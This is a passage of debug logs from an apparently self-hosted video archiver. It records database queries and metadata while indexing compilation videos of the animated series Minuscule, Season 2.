'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89036] 22:11:29.977 [debug] Current batch of media processed. Will check again in 1000ms 22:11:30.978 [debug] Current batch of media processed. Will check again in 1000ms 22:11:31.979 [debug] Current batch of media processed. Will check again in 1000ms 22:11:32.980 [debug] Current batch of media processed. Will check again in 1000ms 22:11:33.981 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Vegetable Garden | S02E10\n00:03:44 | Trapped | S02E64\n00:07:27 | The Monster Of The Haunted Swamp | S02E37\n00:10:57 | At Full Speed | S02E27\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#vegetable #garden #insects #gardener #trapped #escape #rescue #Minuscule #nature #ladybugs #animatedseries", "duration" => 920, "filename" => "/downloads/Miniscule Season 2/2025-03-20 The Vegetable Garden | Minuscule 🍃 20' Compilation/The Vegetable Garden | Minuscule 🍃 20' Compilation [Q7a7mvz2wZU].mp4", "id" => "Q7a7mvz2wZU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Q7a7mvz2wZU", "playlist_index" => 69, "timestamp" => 1742468491, "title" => "The Vegetable Garden | Minuscule 🍃 20' Compilation", "upload_date" => "20250320"} 22:11:33.982 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=880.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:33.983 [debug] QUERY OK source="sources" db=0.3ms idle=811.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:33.984 [debug] QUERY OK source="media_items" db=1.0ms idle=812.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-20 11:01:31Z], 5] 22:11:34.002 [debug] QUERY OK source="media_items" db=16.4ms idle=814.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Vegetable Garden | S02E10\n00:03:44 | Trapped | S02E64\n00:07:27 | The Monster Of The Haunted Swamp | S02E37\n00:10:57 | At Full Speed | S02E27\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#vegetable #garden #insects #gardener #trapped #escape #rescue #Minuscule #nature #ladybugs #animatedseries", "The Vegetable Garden | Minuscule 🍃 20' Compilation", "d0e8904f-f4ef-4377-990d-d6c1fa574e45", "Q7a7mvz2wZU", 920, false, 5, "https://www.youtube.com/watch?v=Q7a7mvz2wZU", 69, "/downloads/Miniscule Season 2/2025-03-20 The Vegetable Garden | Minuscule 🍃 20' Compilation/The Vegetable Garden | Minuscule 🍃 20' Compilation [Q7a7mvz2wZU].mp4", false, false, false, [], 1, ~U[2025-03-20 11:01:31Z], ~U[2025-12-12 05:11:33Z], ~U[2025-12-12 05:11:33Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Vegetable Garden | S02E10\n00:03:44 | Trapped | S02E64\n00:07:27 | The Monster Of The Haunted Swamp | S02E37\n00:10:57 | At Full Speed | S02E27\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#vegetable #garden #insects #gardener #trapped #escape #rescue #Minuscule #nature #ladybugs #animatedseries", "The Vegetable Garden | Minuscule 🍃 20' Compilation", "Q7a7mvz2wZU", 920, false, 5, "https://www.youtube.com/watch?v=Q7a7mvz2wZU", "/downloads/Miniscule Season 2/2025-03-20 The Vegetable Garden | Minuscule 🍃 20' Compilation/The Vegetable Garden | Minuscule 🍃 20' Compilation [Q7a7mvz2wZU].mp4", false, ~U[2025-03-20 11:01:31Z]] 22:11:34.002 [debug] QUERY OK source="sources" db=0.4ms idle=831.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:34.003 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=20.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:34.004 [debug] QUERY OK source="media_items" db=0.5ms idle=20.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89038] 22:11:34.004 [debug] Current batch of media processed. Will check again in 1000ms 22:11:35.005 [debug] Current batch of media processed. Will check again in 1000ms 22:11:36.006 [debug] Current batch of media processed. Will check again in 1000ms 22:11:37.007 [debug] Current batch of media processed. Will check again in 1000ms 22:11:38.008 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It's a tie! | S02E67\n00:03:40 | Twelve Angry Snails | S02E66\n00:07:13 | Sleep Walker | S02E68\n00:10:37 | Black Slope For Gastropod Skiers | S02E55\n00:14:23 | The Long Road | S02E34\n00:18:05 | Thirsty | S02E29\n00:21:38 | Night of the Gastropods | S02E18\n00:25:23 | Go Blue Go! | S02E54\n00:29:05 | The Iron Monster | S02E33\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#insects #games #competition #referee #snails #escape #gourmet #restaurant #Minuscule #nature #ladybugs #animatedseries", "duration" => 1997, "filename" => "/downloads/Miniscule Season 2/2025-03-22 It's a tie! 🍃 Minuscule 🍃| 45' Compilation/It's a tie! 🍃 Minuscule 🍃| 45' Compilation [hYE3G--61A8].mp4", "id" => "hYE3G--61A8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hYE3G--61A8", "playlist_index" => 70, "timestamp" => 1742670045, "title" => "It's a tie! 🍃 Minuscule 🍃| 45' Compilation", "upload_date" => "20250322"} 22:11:38.009 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=899.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:38.010 [debug] QUERY OK source="sources" db=0.4ms idle=838.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:38.012 [debug] QUERY OK source="media_items" db=1.0ms idle=839.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-22 19:00:45Z], 5] 22:11:38.015 [debug] QUERY OK source="media_items" db=2.1ms idle=841.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It's a tie! | S02E67\n00:03:40 | Twelve Angry Snails | S02E66\n00:07:13 | Sleep Walker | S02E68\n00:10:37 | Black Slope For Gastropod Skiers | S02E55\n00:14:23 | The Long Road | S02E34\n00:18:05 | Thirsty | S02E29\n00:21:38 | Night of the Gastropods | S02E18\n00:25:23 | Go Blue Go! | S02E54\n00:29:05 | The Iron Monster | S02E33\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#insects #games #competition #referee #snails #escape #gourmet #restaurant #Minuscule #nature #ladybugs #animatedseries", "It's a tie! 🍃 Minuscule 🍃| 45' Compilation", "b897d1fa-d5b2-4972-ad17-fd7ac0a79d26", "hYE3G--61A8", 1997, false, 5, "https://www.youtube.com/watch?v=hYE3G--61A8", 70, "/downloads/Miniscule Season 2/2025-03-22 It's a tie! 🍃 Minuscule 🍃| 45' Compilation/It's a tie! 🍃 Minuscule 🍃| 45' Compilation [hYE3G--61A8].mp4", false, false, false, [], 1, ~U[2025-03-22 19:00:45Z], ~U[2025-12-12 05:11:38Z], ~U[2025-12-12 05:11:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It's a tie! | S02E67\n00:03:40 | Twelve Angry Snails | S02E66\n00:07:13 | Sleep Walker | S02E68\n00:10:37 | Black Slope For Gastropod Skiers | S02E55\n00:14:23 | The Long Road | S02E34\n00:18:05 | Thirsty | S02E29\n00:21:38 | Night of the Gastropods | S02E18\n00:25:23 | Go Blue Go! | S02E54\n00:29:05 | The Iron Monster | S02E33\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#insects #games #competition #referee #snails #escape #gourmet #restaurant #Minuscule #nature #ladybugs #animatedseries", "It's a tie! 🍃 Minuscule 🍃| 45' Compilation", "hYE3G--61A8", 1997, false, 5, "https://www.youtube.com/watch?v=hYE3G--61A8", "/downloads/Miniscule Season 2/2025-03-22 It's a tie! 🍃 Minuscule 🍃| 45' Compilation/It's a tie! 🍃 Minuscule 🍃| 45' Compilation [hYE3G--61A8].mp4", false, ~U[2025-03-22 19:00:45Z]] 22:11:38.015 [debug] QUERY OK source="sources" db=0.3ms idle=844.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:38.016 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:38.017 [debug] QUERY OK source="media_items" db=0.6ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89040] 22:11:38.018 [debug] Current batch of media processed. Will check again in 1000ms 22:11:39.019 [debug] Current batch of media processed. Will check again in 1000ms 22:11:40.020 [debug] Current batch of media processed. Will check again in 1000ms 22:11:41.021 [debug] Current batch of media processed. Will check again in 1000ms 22:11:42.022 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Butterfly Effect | S02E23\n00:03:22 | A Butterfly's Nightmare | S02E20\n00:06:38 | Hop On! | S02E25\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#butterfly #flutter #fields #reaction #Butterfly #Caterpillar #Nightmare #Cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 654, "filename" => "/downloads/Miniscule Season 2/2025-03-18 The Butterfly Effect 🦋 Minuscule 🍃15' Compilation/The Butterfly Effect 🦋 Minuscule 🍃15' Compilation [x_l22YIpeVo].mp4", "id" => "x_l22YIpeVo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=x_l22YIpeVo", "playlist_index" => 71, "timestamp" => 1742281259, "title" => "The Butterfly Effect 🦋 Minuscule 🍃15' Compilation", "upload_date" => "20250318"} 22:11:42.024 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=905.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:42.024 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=853.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:42.026 [debug] QUERY OK source="media_items" db=1.1ms idle=853.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-18 07:00:59Z], 5] 22:11:42.060 [debug] QUERY OK source="media_items" db=33.3ms idle=855.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Butterfly Effect | S02E23\n00:03:22 | A Butterfly's Nightmare | S02E20\n00:06:38 | Hop On! | S02E25\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#butterfly #flutter #fields #reaction #Butterfly #Caterpillar #Nightmare #Cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "The Butterfly Effect 🦋 Minuscule 🍃15' Compilation", "efec35f8-ac0f-49c6-a2f7-68171ddea0ce", "x_l22YIpeVo", 654, false, 5, "https://www.youtube.com/watch?v=x_l22YIpeVo", 71, "/downloads/Miniscule Season 2/2025-03-18 The Butterfly Effect 🦋 Minuscule 🍃15' Compilation/The Butterfly Effect 🦋 Minuscule 🍃15' Compilation [x_l22YIpeVo].mp4", false, false, false, [], 1, ~U[2025-03-18 07:00:59Z], ~U[2025-12-12 05:11:42Z], ~U[2025-12-12 05:11:42Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Butterfly Effect | S02E23\n00:03:22 | A Butterfly's Nightmare | S02E20\n00:06:38 | Hop On! | S02E25\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#butterfly #flutter #fields #reaction #Butterfly #Caterpillar #Nightmare #Cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "The Butterfly Effect 🦋 Minuscule 🍃15' Compilation", "x_l22YIpeVo", 654, false, 5, "https://www.youtube.com/watch?v=x_l22YIpeVo", "/downloads/Miniscule Season 2/2025-03-18 The Butterfly Effect 🦋 Minuscule 🍃15' Compilation/The Butterfly Effect 🦋 Minuscule 🍃15' Compilation [x_l22YIpeVo].mp4", false, ~U[2025-03-18 07:00:59Z]] 22:11:42.061 [debug] QUERY OK source="sources" db=0.4ms idle=889.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:42.062 [debug] QUERY OK source="media_profiles" db=0.2ms idle=37.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:42.063 [debug] QUERY OK source="media_items" db=0.5ms idle=37.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89042] 22:11:42.063 [debug] Current batch of media processed. Will check again in 1000ms 22:11:43.064 [debug] Current batch of media processed. Will check again in 1000ms 22:11:44.065 [debug] Current batch of media processed. Will check again in 1000ms 22:11:45.066 [debug] Current batch of media processed. Will check again in 1000ms 22:11:46.067 [debug] FileFollowerServer Handler: Got media attributes: 